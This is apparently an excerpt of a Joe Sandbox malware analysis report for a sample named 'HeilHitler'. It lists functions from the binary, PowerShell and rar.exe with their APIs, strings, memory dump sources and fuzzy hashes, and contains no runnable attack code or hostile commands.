Associated: 00000001.00000002.2033670545.00007FF633DA4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ff633d60000_HeilHitler.jbxd

Similarity

API ID: CurrentDirectory
String ID: :
API String ID: 1611563598-336475711
Opcode ID: efdca0e5d1be44ae5d3d1eb4e4dfe397437606097ef32224e0533ff711b04112
Instruction ID: 8eb12bc165134f41b4cb3792588da0e60e246dae2e205a758614a1fe4bf5d5fe
Opcode Fuzzy Hash: efdca0e5d1be44ae5d3d1eb4e4dfe397437606097ef32224e0533ff711b04112
Instruction Fuzzy Hash: 44212372A1868181EB308F51D44627D73B5FB88B84F864335DAADAB394DF7CE9849B40

Function 00007FFDFAE8175D Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 64COMMON

Download Yara Rule

APIs

00007FFE13331210.VCRUNTIME140 ref: 00007FFDFAEC4C76

Strings

3, xrefs: 00007FFDFAEC4CD8
..\s\ssl\statem\extensions_srvr.c, xrefs: 00007FFDFAEC4C8D, 00007FFDFAEC4CD1

Memory Dump Source

Source File: 00000001.00000002.2034183596.00007FFDFAE81000.00000040.00000001.01000000.00000010.sdmp, Offset: 00007FFDFAE80000, based on PE: true

Associated: 00000001.00000002.2034141796.00007FFDFAE80000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000001.00000002.2034183596.00007FFDFAEF3000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 00000001.00000002.2034183596.00007FFDFAEF6000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 00000001.00000002.2034183596.00007FFDFAF19000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 00000001.00000002.2034183596.00007FFDFAF24000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 00000001.00000002.2034183596.00007FFDFAF2E000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 00000001.00000002.2034512265.00007FFDFAF31000.00000080.00000001.01000000.00000010.sdmpDownload File
Associated: 00000001.00000002.2034545589.00007FFDFAF33000.00000004.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffdfae80000_HeilHitler.jbxd

Similarity

API ID: 00007E13331210
String ID: ..\s\ssl\statem\extensions_srvr.c$3
API String ID: 1677897744-3555168737
Opcode ID: 02e4923c65d91dd17ed78d59ecd45d247cd09b3b530dfdedfddf0ce4932c12f5
Instruction ID: 4aaf6d1f1a2284394ea3e7c0bcd53cbe8c70bb95c485e494ffeef84d8d24bb01
Opcode Fuzzy Hash: 02e4923c65d91dd17ed78d59ecd45d247cd09b3b530dfdedfddf0ce4932c12f5
Instruction Fuzzy Hash: C921E032708B4082EB599B11E850BAC63A4EB44B88F584131DE6D4BBD8DF7ED6D0C700

Function 00007FFDFAD62700 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 46COMMON

Download Yara Rule

APIs

IsProcessorFeaturePresent.KERNEL32 ref: 00007FFDFAD62AC2
capture_previous_context.LIBCMT ref: 00007FFDFAD62ADA

Strings

_/yZ_&, xrefs: 00007FFDFAD62B54

Memory Dump Source

Source File: 00000001.00000002.2033758431.00007FFDFAD61000.00000040.00000001.01000000.00000013.sdmp, Offset: 00007FFDFAD60000, based on PE: true

Associated: 00000001.00000002.2033713501.00007FFDFAD60000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000001.00000002.2033758431.00007FFDFADC4000.00000040.00000001.01000000.00000013.sdmpDownload File
Associated: 00000001.00000002.2033758431.00007FFDFAE13000.00000040.00000001.01000000.00000013.sdmpDownload File
Associated: 00000001.00000002.2033758431.00007FFDFAE6C000.00000040.00000001.01000000.00000013.sdmpDownload File
Associated: 00000001.00000002.2033758431.00007FFDFAE71000.00000040.00000001.01000000.00000013.sdmpDownload File
Associated: 00000001.00000002.2033758431.00007FFDFAE74000.00000040.00000001.01000000.00000013.sdmpDownload File
Associated: 00000001.00000002.2034059986.00007FFDFAE75000.00000080.00000001.01000000.00000013.sdmpDownload File
Associated: 00000001.00000002.2034101253.00007FFDFAE77000.00000004.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffdfad60000_HeilHitler.jbxd

Similarity

API ID: FeaturePresentProcessorcapture_previous_context
String ID: _/yZ_&
API String ID: 3936158736-2545492802
Opcode ID: 935020ce459c276dd974af6d112d96968beece1e2f635116ef2f32d11577830a
Instruction ID: 751945263df847d3f5981b4db20ae78c53b958117ca9646a57799d6d8ddee9b6
Opcode Fuzzy Hash: 935020ce459c276dd974af6d112d96968beece1e2f635116ef2f32d11577830a
Instruction Fuzzy Hash: 42211565B1CB0681EB48AB04E871BA533A0FB84344F9005B5D9AE833E9EF3EA445C710

Function 00007FF633D6FD48 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 44COMMON

Download Yara Rule

APIs

RtlPcToFileHeader.KERNEL32 ref: 00007FF633D6FD98
RaiseException.KERNEL32 ref: 00007FF633D6FDD9

Strings

csm, xrefs: 00007FF633D6FDC6

Memory Dump Source

Source File: 00000001.00000002.2033505327.00007FF633D61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF633D60000, based on PE: true

Associated: 00000001.00000002.2033471768.00007FF633D60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2033554529.00007FF633D8B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2033600199.00007FF633D9E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2033600199.00007FF633DA1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2033670545.00007FF633DA4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ff633d60000_HeilHitler.jbxd

Similarity

API ID: ExceptionFileHeaderRaise
String ID: csm
API String ID: 2573137834-1018135373
Opcode ID: b596af9f6a60738c50b353da5cbad86497326ffe12a5eabfdc94c01c9dae4a3e
Instruction ID: 761cba639d03aea86463388cd1ad425dde15df9ba6ee47ac9c00dac230985bb0
Opcode Fuzzy Hash: b596af9f6a60738c50b353da5cbad86497326ffe12a5eabfdc94c01c9dae4a3e
Instruction Fuzzy Hash: 2A115B32608B8182EB218F55E400269B7E8FB88B98F584330EF9D5B769DF3CE5518B00

Function 00007FFDFAD62AAF Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 39COMMON

Download Yara Rule

APIs

IsProcessorFeaturePresent.KERNEL32 ref: 00007FFDFAD62AC2
capture_previous_context.LIBCMT ref: 00007FFDFAD62ADA

Strings

_/yZ_&, xrefs: 00007FFDFAD62B54

Memory Dump Source

Source File: 00000001.00000002.2033758431.00007FFDFAD61000.00000040.00000001.01000000.00000013.sdmp, Offset: 00007FFDFAD60000, based on PE: true

Associated: 00000001.00000002.2033713501.00007FFDFAD60000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000001.00000002.2033758431.00007FFDFADC4000.00000040.00000001.01000000.00000013.sdmpDownload File
Associated: 00000001.00000002.2033758431.00007FFDFAE13000.00000040.00000001.01000000.00000013.sdmpDownload File
Associated: 00000001.00000002.2033758431.00007FFDFAE6C000.00000040.00000001.01000000.00000013.sdmpDownload File
Associated: 00000001.00000002.2033758431.00007FFDFAE71000.00000040.00000001.01000000.00000013.sdmpDownload File
Associated: 00000001.00000002.2033758431.00007FFDFAE74000.00000040.00000001.01000000.00000013.sdmpDownload File
Associated: 00000001.00000002.2034059986.00007FFDFAE75000.00000080.00000001.01000000.00000013.sdmpDownload File
Associated: 00000001.00000002.2034101253.00007FFDFAE77000.00000004.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffdfad60000_HeilHitler.jbxd

Similarity

API ID: FeaturePresentProcessorcapture_previous_context
String ID: _/yZ_&
API String ID: 3936158736-2545492802
Opcode ID: 57662b103b31dcb68621f42d09298142627021673d1d758453386178e6d091d8
Instruction ID: 931c2b580d7e535fc72d1067fb83a277f75332a0b0d0fdb81fee83fc31f3fd6e
Opcode Fuzzy Hash: 57662b103b31dcb68621f42d09298142627021673d1d758453386178e6d091d8
Instruction Fuzzy Hash: BB110475B2CB0A81EB48AB04E860BA577A4FB84344F5015B5D9AE873E9EF3EE445C710

Function 00007FF633D8073C Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 36COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF633D8076C
GetDriveTypeW.KERNEL32 ref: 00007FF633D807AC

Strings

:, xrefs: 00007FF633D80795

Memory Dump Source

Source File: 00000001.00000002.2033505327.00007FF633D61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF633D60000, based on PE: true

Associated: 00000001.00000002.2033471768.00007FF633D60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2033554529.00007FF633D8B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2033600199.00007FF633D9E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2033600199.00007FF633DA1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2033670545.00007FF633DA4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ff633d60000_HeilHitler.jbxd

Similarity

API ID: DriveType_invalid_parameter_noinfo
String ID: :
API String ID: 2595371189-336475711
Opcode ID: 68237dfdc7112287ec82a3b365f776b5c9f6f856de5878160eaa1a8f91e0357f
Instruction ID: 09a25edd1726398f407d017423dcdbbfe3ab10e57d17ce13637819520ad46471
Opcode Fuzzy Hash: 68237dfdc7112287ec82a3b365f776b5c9f6f856de5878160eaa1a8f91e0357f
Instruction Fuzzy Hash: 4F01A26291C30386F720AFE0A86327E63A0EF48744F801236D55DEA795EF3CE544AB14

Function 00007FFDFAE86FB0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 35timeCOMMON

Download Yara Rule

APIs

GetSystemTime.KERNEL32 ref: 00007FFDFAE86FD6
SystemTimeToFileTime.KERNEL32 ref: 00007FFDFAE86FE6

Strings

gfff, xrefs: 00007FFDFAE8701A

Memory Dump Source

Source File: 00000001.00000002.2034183596.00007FFDFAE81000.00000040.00000001.01000000.00000010.sdmp, Offset: 00007FFDFAE80000, based on PE: true

Associated: 00000001.00000002.2034141796.00007FFDFAE80000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000001.00000002.2034183596.00007FFDFAEF3000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 00000001.00000002.2034183596.00007FFDFAEF6000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 00000001.00000002.2034183596.00007FFDFAF19000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 00000001.00000002.2034183596.00007FFDFAF24000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 00000001.00000002.2034183596.00007FFDFAF2E000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 00000001.00000002.2034512265.00007FFDFAF31000.00000080.00000001.01000000.00000010.sdmpDownload File
Associated: 00000001.00000002.2034545589.00007FFDFAF33000.00000004.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffdfae80000_HeilHitler.jbxd

Similarity

API ID: Time$System$File
String ID: gfff
API String ID: 2838179519-1553575800
Opcode ID: 38bc638285714f8673654ce0a6927bc61df2c2199d4dc0b12482ca57c550bfb1
Instruction ID: 50061fdd17cef5010d68243691cff8e7e66d8913d4d0d244437064c995684d9f
Opcode Fuzzy Hash: 38bc638285714f8673654ce0a6927bc61df2c2199d4dc0b12482ca57c550bfb1
Instruction Fuzzy Hash: B101DBE2B1854582DF64DB29F81155567E0EBCC784B449131FA6DCF799EE2CD145CB00

Analysis Process: powershell.exePID: 7608, Parent PID: 7504COMMON

Executed Functions

Function 00007FFD9AC93428 Relevance: 1.4, Strings: 1, Instructions: 114COMMON

Download Yara Rule

Strings

/F^, xrefs: 00007FFD9AC934E4

Memory Dump Source

Source File: 00000007.00000002.1841975012.00007FFD9AC90000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9AC90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_7ffd9ac90000_powershell.jbxd

Similarity

API ID:
String ID: /F^
API String ID: 0-3479841251
Opcode ID: 242bb73927777fc8123741619f024639760ca1e02baa843682d08969a787a0da
Instruction ID: 3706bd76530747ccf0263d5fe73297443cfffb6a37280f298c3b08715eb76cc4
Opcode Fuzzy Hash: 242bb73927777fc8123741619f024639760ca1e02baa843682d08969a787a0da
Instruction Fuzzy Hash: E6319337A0D3D15FE3274AB858760A97FE0EF5322470B01FBC4D58B1A7E919580A8761

Function 00007FFD9AD63DB1 Relevance: 1.3, Instructions: 1325COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.1843389343.00007FFD9AD60000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9AD60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_7ffd9ad60000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f714554864aecc260153f7d307e86fe4657869024b15c6db32d24e4e32b7779e
Instruction ID: e8adba6cbbfcaa630402c197a8e3c8de56d3b954de68efa484964b98cb3ddc49
Opcode Fuzzy Hash: f714554864aecc260153f7d307e86fe4657869024b15c6db32d24e4e32b7779e
Instruction Fuzzy Hash: 71821763B0EBC90FE7AA976858655B47FE1EF56220B0911FBD09DC71D3EE18AC068341

Function 00007FFD9AD667F5 Relevance: .4, Instructions: 442COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.1843389343.00007FFD9AD60000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9AD60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_7ffd9ad60000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c8e52732fd8a6b7bd690ecbe42788f8634153b04c58328071707ce2a648d2ccf
Instruction ID: 0630a1a0641d8f543e9b9bc94e597736a0eee8f3e5c1dd3d9c5d9b818316b014
Opcode Fuzzy Hash: c8e52732fd8a6b7bd690ecbe42788f8634153b04c58328071707ce2a648d2ccf
Instruction Fuzzy Hash: 55D11523A0EA8A0FEB6DABA898755B57BE0EF55314B1801FFD45DC70D3EA19A805C341

Function 00007FFD9AC9A816 Relevance: .1, Instructions: 128COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.1841975012.00007FFD9AC90000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9AC90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_7ffd9ac90000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f9af5c77d1755fca45533df992584f34bab5aa384b07ac549d7a588315d330bc
Instruction ID: b2155ca60eccca588ed9aaea4edc263c766707a3bdbf93e9ee63b6d9bd93b529
Opcode Fuzzy Hash: f9af5c77d1755fca45533df992584f34bab5aa384b07ac549d7a588315d330bc
Instruction Fuzzy Hash: F831E93190D7C88FE7569BB898596A97FF0DF97320F0941EFC048C71A7DA68540AC752

Function 00007FFD9AC99880 Relevance: .1, Instructions: 126COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.1841975012.00007FFD9AC90000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9AC90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_7ffd9ac90000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ff1fa48d92a7a32a6dab769dc0d2835d3124d04a6a99e1ceeef992504b7e285d
Instruction ID: 05501940ea198986ed40afd78a65169a2a636517c176cddf805c9d839edb55c8
Opcode Fuzzy Hash: ff1fa48d92a7a32a6dab769dc0d2835d3124d04a6a99e1ceeef992504b7e285d
Instruction Fuzzy Hash: A7310931A1CB484FDB1C9B5C9C466B97BF0FB99310F04426FE459D3292CA70A815CBC2

Function 00007FFD9AB7E380 Relevance: .1, Instructions: 126COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.1841048778.00007FFD9AB7D000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9AB7D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_7ffd9ab7d000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b26fc4cb9d255378ce47aa9b0f754cc0fea2f7ee98f97ee94ff34e16b8e1cb91
Instruction ID: 33f5b0e9545d3dd2e240a5310df448735f6eaf2ee026e13b03b87939a057059f
Opcode Fuzzy Hash: b26fc4cb9d255378ce47aa9b0f754cc0fea2f7ee98f97ee94ff34e16b8e1cb91
Instruction Fuzzy Hash: 7F412A7150DBC44FE75A8B2898559523FF0FF52318B1905EFD08CCB5A3DA25B846C792

Function 00007FFD9AD6429F Relevance: .1, Instructions: 97COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.1843389343.00007FFD9AD60000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9AD60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_7ffd9ad60000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1c06a70fe52bdc1d6c7e729d1a118694b0543f2c87fa14000fdf682b19f13dcc
Instruction ID: 28880b71c2e3c0d657577ea7a4a050137fadc286838b7516667b551bfc0e084a
Opcode Fuzzy Hash: 1c06a70fe52bdc1d6c7e729d1a118694b0543f2c87fa14000fdf682b19f13dcc
Instruction Fuzzy Hash: F321F263B5EA874FE7BDDA68956117436C1EF94220B6920FAD05EC3192EE18EC008301

Function 00007FFD9AD6459C Relevance: .1, Instructions: 64COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.1843389343.00007FFD9AD60000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9AD60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_7ffd9ad60000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c3623a56cde72aaabf2761740d7503b7454d46f747e91277bb9be2c9252a8614
Instruction ID: 671952a925bd7ee1417b24c532e9af7ad26fc81c934bbd11c85257823ae45679
Opcode Fuzzy Hash: c3623a56cde72aaabf2761740d7503b7454d46f747e91277bb9be2c9252a8614
Instruction Fuzzy Hash: FD11C273F0E6864FE7B9D7AC95706B47BD0EF05220B5910FAD06DC7096EA19AC048341

Function 00007FFD9AC933B5 Relevance: .0, Instructions: 49COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.1841975012.00007FFD9AC90000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9AC90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_7ffd9ac90000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 08da065673a25bdeb927b4c2f952ba14616e05d90be0e25124618a69153761d0
Instruction ID: a5f17bad871621e14cb7fe71e574200b6c9bd4a44935e4134c7ef33be96b6135
Opcode Fuzzy Hash: 08da065673a25bdeb927b4c2f952ba14616e05d90be0e25124618a69153761d0
Instruction Fuzzy Hash: E401A73124CB0C4FD748EF0CE051AA5B3E0FB85320F10056DE58AC3695DB32E882CB45

Function 00007FFD9AC9A1F3 Relevance: .0, Instructions: 45COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.1841975012.00007FFD9AC90000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9AC90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_7ffd9ac90000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 62b22bd3904e7e9b078f00f090f48a220d18b4255540163dc55495c244192f83
Instruction ID: 5eb9f6d05fef8e7933e91e79e3e3aaedf76681fb4bf6550818f96d0af60ffcdd
Opcode Fuzzy Hash: 62b22bd3904e7e9b078f00f090f48a220d18b4255540163dc55495c244192f83
Instruction Fuzzy Hash: 0001817A90EBC94FDB579F2898750987FB0EF6620170902DBD098CB0A3E6659908C792

Non-executed Functions

Function 00007FFD9AC98765 Relevance: 8.8, Strings: 7, Instructions: 71COMMON

Download Yara Rule

Strings

M_^, xrefs: 00007FFD9AC98782
M_^, xrefs: 00007FFD9AC987C2
M_^, xrefs: 00007FFD9AC98772
M_^, xrefs: 00007FFD9AC98792
M_^, xrefs: 00007FFD9AC987B2
M_^, xrefs: 00007FFD9AC987E2
M_^, xrefs: 00007FFD9AC987F2

Memory Dump Source

Source File: 00000007.00000002.1841975012.00007FFD9AC90000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9AC90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_7ffd9ac90000_powershell.jbxd

Similarity

API ID:
String ID: M_^$M_^$M_^$M_^$M_^$M_^$M_^
API String ID: 0-3904786266
Opcode ID: 62a1ff498abc061122313bf249bdf9155b1d656eca352150b7fb9c41c8f7bd70
Instruction ID: 95e8481cc3dc03f09f5062f3aa758ba99c3c7cc161dd46cb40a196c3438688ee
Opcode Fuzzy Hash: 62a1ff498abc061122313bf249bdf9155b1d656eca352150b7fb9c41c8f7bd70
Instruction Fuzzy Hash: CB215366D0DAC18EE36B626558B81A43BE05F92344F4E51FBD4B89B1E7F809580D8392

Function 00007FFD9AC98BFA Relevance: 6.4, Strings: 5, Instructions: 108COMMON

Download Yara Rule

Strings

M_^J, xrefs: 00007FFD9AC98C7A
M_^6, xrefs: 00007FFD9AC98BFA
M_^<, xrefs: 00007FFD9AC98C2A
M_^I, xrefs: 00007FFD9AC98C72
M_^F, xrefs: 00007FFD9AC98C6A

Memory Dump Source

Source File: 00000007.00000002.1841975012.00007FFD9AC90000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9AC90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_7ffd9ac90000_powershell.jbxd

Similarity

API ID:
String ID: M_^6$M_^<$M_^F$M_^I$M_^J
API String ID: 0-1500707516
Opcode ID: d80d34d9bc5ae39b6e4c6805338084298f4a25165cf5b2188607347adce72b21
Instruction ID: ec08b0e42df8aefe4e0fdd4c938956361d09831a89bba499b64af5c36ab90da1
Opcode Fuzzy Hash: d80d34d9bc5ae39b6e4c6805338084298f4a25165cf5b2188607347adce72b21
Instruction Fuzzy Hash: 3E210777704465DED30576ADB8189DC73C0DBA427638A47F3E169CB583ED14A09746C4

Function 00007FFD9AC984FA Relevance: 6.3, Strings: 5, Instructions: 33COMMON

Download Yara Rule

Strings

M_^, xrefs: 00007FFD9AC984FA
M_^, xrefs: 00007FFD9AC9850A
M_^, xrefs: 00007FFD9AC9851A
M_^, xrefs: 00007FFD9AC9853A
M_^, xrefs: 00007FFD9AC9855A

Memory Dump Source

Source File: 00000007.00000002.1841975012.00007FFD9AC90000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9AC90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_7ffd9ac90000_powershell.jbxd

Similarity

API ID:
String ID: M_^$M_^$M_^$M_^$M_^
API String ID: 0-2396788759
Opcode ID: 2dc90a3df7b6a3df4f3b43745f1057276d20ddc9cf260df4ccf4bef733ff90c6
Instruction ID: 14646979f294268459c11048856388c7c07f50acf3c0ad2071ef91aa0fe03cc8
Opcode Fuzzy Hash: 2dc90a3df7b6a3df4f3b43745f1057276d20ddc9cf260df4ccf4bef733ff90c6
Instruction Fuzzy Hash: D8F08C62E0D6C2CAF35B526408BC1842FD12F92354B4E41FBD0BC9B0A7A819980A82A5

Analysis Process: powershell.exePID: 8084, Parent PID: 600COMMON

Executed Functions

Function 00007FFD9ACB4C3D Relevance: 1.6, Strings: 1, Instructions: 367COMMON

Download Yara Rule

Strings

^, xrefs: 00007FFD9ACB4DA2

Memory Dump Source

Source File: 00000026.00000002.1899344146.00007FFD9ACB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9ACB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_38_2_7ffd9acb0000_powershell.jbxd

Similarity

API ID:
String ID: ^
API String ID: 0-1590793086
Opcode ID: d472b86d934421fb196552c218afd9eaf5ef42dfc4cf0f891462a0f3232d0671
Instruction ID: 5083e60bec560f96851b7e57cb38be7a043b03167e64a6ada1fb39e457d9a156
Opcode Fuzzy Hash: d472b86d934421fb196552c218afd9eaf5ef42dfc4cf0f891462a0f3232d0671
Instruction Fuzzy Hash: 27C11A36E0D6859FE7159BACD8A42AC7BB0EF86314F0841FBD499DB1D7CE296806C740

Function 00007FFD9AD81A78 Relevance: .4, Instructions: 425COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000026.00000002.1900707928.00007FFD9AD80000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9AD80000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_38_2_7ffd9ad80000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 098f4a56373fe905250b021ea999ebf387e4cbf7b0bfdc36ec0a226fa2bd02c6
Instruction ID: 025dee12c1f1e0d38595f3b5501acc0c97d8a66c45d7b4a70a997bb53977f909
Opcode Fuzzy Hash: 098f4a56373fe905250b021ea999ebf387e4cbf7b0bfdc36ec0a226fa2bd02c6
Instruction Fuzzy Hash: 27C11923B0DA854FE76A9B7C58656B57BE1EF56210B0D01FBE05CCB1D7E928AC09C341

Function 00007FFD9AD81863 Relevance: .1, Instructions: 149COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000026.00000002.1900707928.00007FFD9AD80000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9AD80000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_38_2_7ffd9ad80000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 80dbac03671b768975b0f560ebec5d88c42a1f523dffb692025d78b336368d15
Instruction ID: 56562e4027264fa6ed8d027a8636eead20da8ac470c258aa4fa2d174da4a90c2
Opcode Fuzzy Hash: 80dbac03671b768975b0f560ebec5d88c42a1f523dffb692025d78b336368d15
Instruction Fuzzy Hash: 4B411D23B0CE494FE7AD965C54616F973E2DF84220B4810FBE05ECB1D7FE29E8158241

Function 00007FFD9ACB3945 Relevance: .0, Instructions: 49COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000026.00000002.1899344146.00007FFD9ACB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9ACB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_38_2_7ffd9acb0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 582908582f657131c1f04ed76f34d09c60f6b2c2f8b724a61ceffa3ac25bcdd6
Instruction ID: 997fdd2bf33ae35a91af1d64776fc8c427ef5541916771d309e940885d01838b
Opcode Fuzzy Hash: 582908582f657131c1f04ed76f34d09c60f6b2c2f8b724a61ceffa3ac25bcdd6
Instruction Fuzzy Hash: C701A73120CB0C4FD748EF0CE051AA5B3E0FB85320F10056EE58AC3691D632E881CB45

Analysis Process: rar.exePID: 3400, Parent PID: 7920COMMON

Execution Graph

Execution Coverage:	7.7%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	0.5%
Total number of Nodes:	1119
Total number of Limit Nodes:	39

Executed Functions

Function 00007FF702C154C0 Relevance: 36.3, APIs: 4, Strings: 16, Instructions: 1336COMMON

Download Yara Rule

Strings

EML, xrefs: 00007FF702C15D6B
LOG, xrefs: 00007FF702C15CD0
OFF, xrefs: 00007FF702C15E4B
default.sfx, xrefs: 00007FF702C160F4
SND, xrefs: 00007FF702C15D11
SFX, xrefs: 00007FF702C160CC
*?., xrefs: 00007FF702C1598C
+, xrefs: 00007FF702C16535
NUL, xrefs: 00007FF702C15DB3
VER, xrefs: 00007FF702C15EBA
rar.log, xrefs: 00007FF702C15CE5
ERR, xrefs: 00007FF702C15D40
stdin, xrefs: 00007FF702C16236
*.%ls, xrefs: 00007FF702C159AF
7z;ace;arj;bz2;cab;gz;jpeg;jpg;lha;lz;lzh;mp3;rar;taz;tgz;xz;z;zip;zipx, xrefs: 00007FF702C15935
stdin, xrefs: 00007FF702C1672D

Memory Dump Source

Source File: 00000044.00000002.1923395362.00007FF702C01000.00000020.00000001.01000000.0000001A.sdmp, Offset: 00007FF702C00000, based on PE: true

Associated: 00000044.00000002.1923361859.00007FF702C00000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000044.00000002.1923462255.00007FF702C70000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000044.00000002.1923504077.00007FF702C88000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000044.00000002.1923540470.00007FF702C89000.00000008.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000044.00000002.1923574782.00007FF702C8A000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000044.00000002.1923574782.00007FF702C94000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000044.00000002.1923574782.00007FF702C9E000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000044.00000002.1923574782.00007FF702CA6000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000044.00000002.1923717407.00007FF702CA8000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000044.00000002.1923755863.00007FF702CAE000.00000002.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

